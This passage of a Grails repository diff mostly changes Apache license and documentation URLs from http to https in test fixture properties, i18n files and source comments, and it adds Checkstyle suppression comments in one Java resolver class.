+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-no-subproject-build-gradle-publish-all/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-no-subproject-build-gradle-publish-all/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-no-subproject-build-gradle-publish-all/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-no-subproject-build-gradle-publish-all/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-no-subproject-build-gradle-publish-per-project/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-no-subproject-build-gradle-publish-per-project/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-no-subproject-build-gradle-publish-per-project/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-no-subproject-build-gradle-publish-per-project/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-parent-child-setup-per-project-child-published/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-parent-child-setup-per-project-child-published/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-parent-child-setup-per-project-child-published/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-parent-child-setup-per-project-child-published/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-parent-child-setup-per-project-parent-published/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-parent-child-setup-per-project-parent-published/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-parent-child-setup-per-project-parent-published/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-parent-child-setup-per-project-parent-published/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-with-subproject-gradle/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-with-subproject-gradle/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-with-subproject-gradle/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/multi-project-with-subproject-gradle/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/explicit-jar-creation-without-gradle-assistance/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/explicit-jar-creation-without-gradle-assistance/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/explicit-jar-creation-without-gradle-assistance/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/explicit-jar-creation-without-gradle-assistance/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/groovy-doc-disabled/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/groovy-doc-disabled/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/groovy-doc-disabled/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/groovy-doc-disabled/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/groovy-only-project/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/groovy-only-project/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/groovy-only-project/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/groovy-only-project/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/java-already-configured/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/java-already-configured/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/java-already-configured/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/java-already-configured/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/java-only-project/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/java-only-project/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/java-only-project/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/java-only-project/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/multi-project-plugins-applied-child/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/multi-project-plugins-applied-child/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/multi-project-plugins-applied-child/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/multi-project-plugins-applied-child/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/multi-project-plugins-applied-parent/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/multi-project-plugins-applied-parent/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/multi-project-plugins-applied-parent/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/multi-project-plugins-applied-parent/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/multiple-source-sets/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/multiple-source-sets/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/multiple-source-sets/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/multiple-source-sets/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/non-groovy-java-sources-included/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/non-groovy-java-sources-included/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/non-groovy-java-sources-included/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/non-groovy-java-sources-included/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/simple-project/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/simple-project/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/simple-project/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/other-artifacts/simple-project/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/child-project-with-unrelated-parent/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/child-project-with-unrelated-parent/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/child-project-with-unrelated-parent/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/child-project-with-unrelated-parent/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/child-project-with-unrelated-parent/otherProject/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/child-project-with-unrelated-parent/otherProject/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/child-project-with-unrelated-parent/otherProject/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/child-project-with-unrelated-parent/otherProject/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/multi-project-parent-child-setup-per-project-child-published/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/multi-project-parent-child-setup-per-project-child-published/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/multi-project-parent-child-setup-per-project-child-published/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/multi-project-parent-child-setup-per-project-child-published/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/multi-project-parent-child-setup-per-project-parent-published/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/multi-project-parent-child-setup-per-project-parent-published/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/multi-project-parent-child-setup-per-project-parent-published/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/multi-project-parent-child-setup-per-project-parent-published/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/multi-project-with-subproject-gradle/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/multi-project-with-subproject-gradle/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/multi-project-with-subproject-gradle/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/plugins-block/multi-project-with-subproject-gradle/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gsp/grails-web-jsp/src/main/groovy/org/grails/gsp/jsp/JspTagImpl.groovy b/grails-gsp/grails-web-jsp/src/main/groovy/org/grails/gsp/jsp/JspTagImpl.groovy
index d7e09758ba..729d802103 100644
--- a/grails-gsp/grails-web-jsp/src/main/groovy/org/grails/gsp/jsp/JspTagImpl.groovy
+++ b/grails-gsp/grails-web-jsp/src/main/groovy/org/grails/gsp/jsp/JspTagImpl.groovy
@@ -221,7 +221,7 @@ class JspTagImpl implements JspTag {
     }
 
 //----------------------------------------------------------------------------
-// Workarounds for http://jira.codehaus.org/browse/GROOVY-2897
+// Workarounds for GROOVY-2897
 //
     boolean isBodyTag() {
         checkInitialized()
diff --git a/grails-gsp/grails-web-jsp/src/main/groovy/org/grails/gsp/jsp/LocalEntityResolver.java b/grails-gsp/grails-web-jsp/src/main/groovy/org/grails/gsp/jsp/LocalEntityResolver.java
index 011305a43e..d193cb4f17 100644
--- a/grails-gsp/grails-web-jsp/src/main/groovy/org/grails/gsp/jsp/LocalEntityResolver.java
+++ b/grails-gsp/grails-web-jsp/src/main/groovy/org/grails/gsp/jsp/LocalEntityResolver.java
@@ -34,6 +34,7 @@ import static java.util.Map.entry;
  */
 public class LocalEntityResolver implements EntityResolver {
 
+    // CHECKSTYLE:OFF
     private static final Map<String, String> ENTITIES = Map.ofEntries(
             // JSP taglib 3.0
             entry("https://jakarta.ee/xml/ns/jakartaee/web-jsptaglibrary_3_0.xsd", "web-jsptaglibrary_3_0.xsd"),
@@ -80,6 +81,7 @@ public class LocalEntityResolver implements EntityResolver {
             entry("http://java.sun.com/j2ee/dtds/web-app_2_2.dtd", "web-app_2_2.dtd"),
             entry("https://java.sun.com/j2ee/dtds/web-app_2_2.dtd", "web-app_2_2.dtd")
     );
+    // CHECKSTYLE:ON
 
     public InputSource resolveEntity(String publicId, String systemId) {
         String name = ENTITIES.get(publicId);
diff --git a/grails-gsp/grails-web-jsp/src/main/groovy/org/grails/gsp/jsp/TagLibraryResolverImpl.groovy b/grails-gsp/grails-web-jsp/src/main/groovy/org/grails/gsp/jsp/TagLibraryResolverImpl.groovy
index 3326e5e0b8..257f3b8654 100644
--- a/grails-gsp/grails-web-jsp/src/main/groovy/org/grails/gsp/jsp/TagLibraryResolverImpl.groovy
+++ b/grails-gsp/grails-web-jsp/src/main/groovy/org/grails/gsp/jsp/TagLibraryResolverImpl.groovy
@@ -38,7 +38,7 @@ import java.util.zip.ZipInputStream
 /**
  * Resolves all of the available tag libraries from web.xml and all available JAR files.
  *
- * Kudos to the Freemarker (http://freemarker.sourceforge.net/) library for providing the inspiration for this code.
+ * Kudos to the Freemarker (https://freemarker.sourceforge.net/) library for providing the inspiration for this code.
  *
  * @author Graeme Rocher
  */
diff --git a/grails-rest-transforms/src/main/groovy/grails/rest/Linkable.groovy b/grails-rest-transforms/src/main/groovy/grails/rest/Linkable.groovy
index ba0787a43e..7581f780b3 100644
--- a/grails-rest-transforms/src/main/groovy/grails/rest/Linkable.groovy
+++ b/grails-rest-transforms/src/main/groovy/grails/rest/Linkable.groovy
@@ -37,7 +37,7 @@ import java.lang.annotation.Target
  *          }
  *
  *          def b = new Book()
- *          b.link(rel:"publisher", href="http://foo.com/books")
+ *          b.link(rel:"publisher", href="https://foo.com/books")
  *          println b.links()
  *
  *     </code>
diff --git a/grails-rest-transforms/src/main/groovy/grails/rest/render/atom/AtomRenderer.groovy b/grails-rest-transforms/src/main/groovy/grails/rest/render/atom/AtomRenderer.groovy
index a2523b8785..1a3412beeb 100644
--- a/grails-rest-transforms/src/main/groovy/grails/rest/render/atom/AtomRenderer.groovy
+++ b/grails-rest-transforms/src/main/groovy/grails/rest/render/atom/AtomRenderer.groovy
@@ -33,7 +33,7 @@ import java.text.SimpleDateFormat
 
 /**
  *
- * Renders output in Atom format (http://tools.ietf.org/html/rfc4287)
+ * Renders output in Atom format (https://tools.ietf.org/html/rfc4287)
  *
  * @author Graeme Rocher
  * @since 2.3
diff --git a/grails-rest-transforms/src/main/groovy/grails/rest/render/hal/HalJsonRenderer.groovy b/grails-rest-transforms/src/main/groovy/grails/rest/render/hal/HalJsonRenderer.groovy
index e9a3fe8bef..04b0992ca1 100644
--- a/grails-rest-transforms/src/main/groovy/grails/rest/render/hal/HalJsonRenderer.groovy
+++ b/grails-rest-transforms/src/main/groovy/grails/rest/render/hal/HalJsonRenderer.groovy
@@ -39,7 +39,7 @@ import org.springframework.core.convert.converter.Converter
 import org.springframework.http.HttpMethod
 
 /**
- * Renders domain instances in HAL JSON format (see http://tools.ietf.org/html/draft-kelly-json-hal-05)
+ * Renders domain instances in HAL JSON format (see https://tools.ietf.org/html/draft-kelly-json-hal-05)
  *
  * @author Graeme Rocher
  * @since 2.3
diff --git a/grails-rest-transforms/src/main/groovy/grails/rest/render/hal/HalXmlRenderer.groovy b/grails-rest-transforms/src/main/groovy/grails/rest/render/hal/HalXmlRenderer.groovy
index 96d6ed7987..ee9c67ba84 100644
--- a/grails-rest-transforms/src/main/groovy/grails/rest/render/hal/HalXmlRenderer.groovy
+++ b/grails-rest-transforms/src/main/groovy/grails/rest/render/hal/HalXmlRenderer.groovy
@@ -33,7 +33,7 @@ import org.springframework.beans.PropertyAccessorFactory
 import org.springframework.http.HttpMethod
 
 /**
- * Renders domain instances in HAL XML format (see http://stateless.co/hal_specification.html)
+ * Renders domain instances in HAL XML format (see https://stateless.co/hal_specification.html)
  *
  * @author Graeme Rocher
  * @since 2.3
diff --git a/grails-spring/src/main/groovy/org/grails/spring/BeanConfiguration.java b/grails-spring/src/main/groovy/org/grails/spring/BeanConfiguration.java
index 267f715f1c..4b10ce343d 100644
--- a/grails-spring/src/main/groovy/org/grails/spring/BeanConfiguration.java
+++ b/grails-spring/src/main/groovy/org/grails/spring/BeanConfiguration.java
@@ -25,7 +25,7 @@ import org.springframework.beans.factory.support.AbstractBeanDefinition;
  * Represents a runtime bean configuration.
  * <p>
  * Credit must go to Solomon Duskis and the
- * article: http://jroller.com/page/Solomon?entry=programmatic_configuration_in_spring
+ * article: https://jroller.com/page/Solomon?entry=programmatic_configuration_in_spring
  *
  * @author Graeme
  * @since 0.3
diff --git a/grails-spring/src/main/groovy/org/grails/spring/DefaultBeanConfiguration.java b/grails-spring/src/main/groovy/org/grails/spring/DefaultBeanConfiguration.java
index 5d2e3a3900..a173ed69cf 100644
--- a/grails-spring/src/main/groovy/org/grails/spring/DefaultBeanConfiguration.java
+++ b/grails-spring/src/main/groovy/org/grails/spring/DefaultBeanConfiguration.java
@@ -40,7 +40,7 @@ import java.util.List;
  * Default implementation of the BeanConfiguration interface .
  * <p>
  * Credit must go to Solomon Duskis and the
- * article: http://jroller.com/page/Solomon?entry=programmatic_configuration_in_spring
+ * article: https://jroller.com/page/Solomon?entry=programmatic_configuration_in_spring
  *
  * @author Graeme
  * @since 0.3
diff --git a/grails-spring/src/main/groovy/org/grails/spring/DefaultRuntimeSpringConfiguration.java b/grails-spring/src/main/groovy/org/grails/spring/DefaultRuntimeSpringConfiguration.java
index e0e6fd5f89..c5a1199ccc 100644
--- a/grails-spring/src/main/groovy/org/grails/spring/DefaultRuntimeSpringConfiguration.java
+++ b/grails-spring/src/main/groovy/org/grails/spring/DefaultRuntimeSpringConfiguration.java
@@ -47,7 +47,7 @@ import java.util.Set;
  * to be constructed at runtime.
  * <p>
  * Credit must go to Solomon Duskis and the
- * article: http://jroller.com/page/Solomon?entry=programmatic_configuration_in_spring
+ * article: https://jroller.com/page/Solomon?entry=programmatic_configuration_in_spring
  *
  * @author Graeme
  * @since 0.3
diff --git a/grails-spring/src/main/groovy/org/grails/spring/RuntimeSpringConfiguration.java b/grails-spring/src/main/groovy/org/grails/spring/RuntimeSpringConfiguration.java
index 58a3bb64f3..3d63942358 100644
--- a/grails-spring/src/main/groovy/org/grails/spring/RuntimeSpringConfiguration.java
+++ b/grails-spring/src/main/groovy/org/grails/spring/RuntimeSpringConfiguration.java
@@ -34,7 +34,7 @@ import java.util.List;
  * to be constructed at runtime.
  * <p>
  * Credit must go to Solomon Duskis and the
- * article: http://jroller.com/page/Solomon?entry=programmatic_configuration_in_spring
+ * article: https://jroller.com/page/Solomon?entry=programmatic_configuration_in_spring
  *
  * @author Graeme
  * @since 0.3
diff --git a/grails-test-examples/app1/grails-app/i18n/messages.properties b/grails-test-examples/app1/grails-app/i18n/messages.properties
index 09d392c881..d71a1fc5cb 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_cs_CZ.properties b/grails-test-examples/app1/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_da.properties b/grails-test-examples/app1/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_de.properties b/grails-test-examples/app1/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_es.properties b/grails-test-examples/app1/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_fr.properties b/grails-test-examples/app1/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_it.properties b/grails-test-examples/app1/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
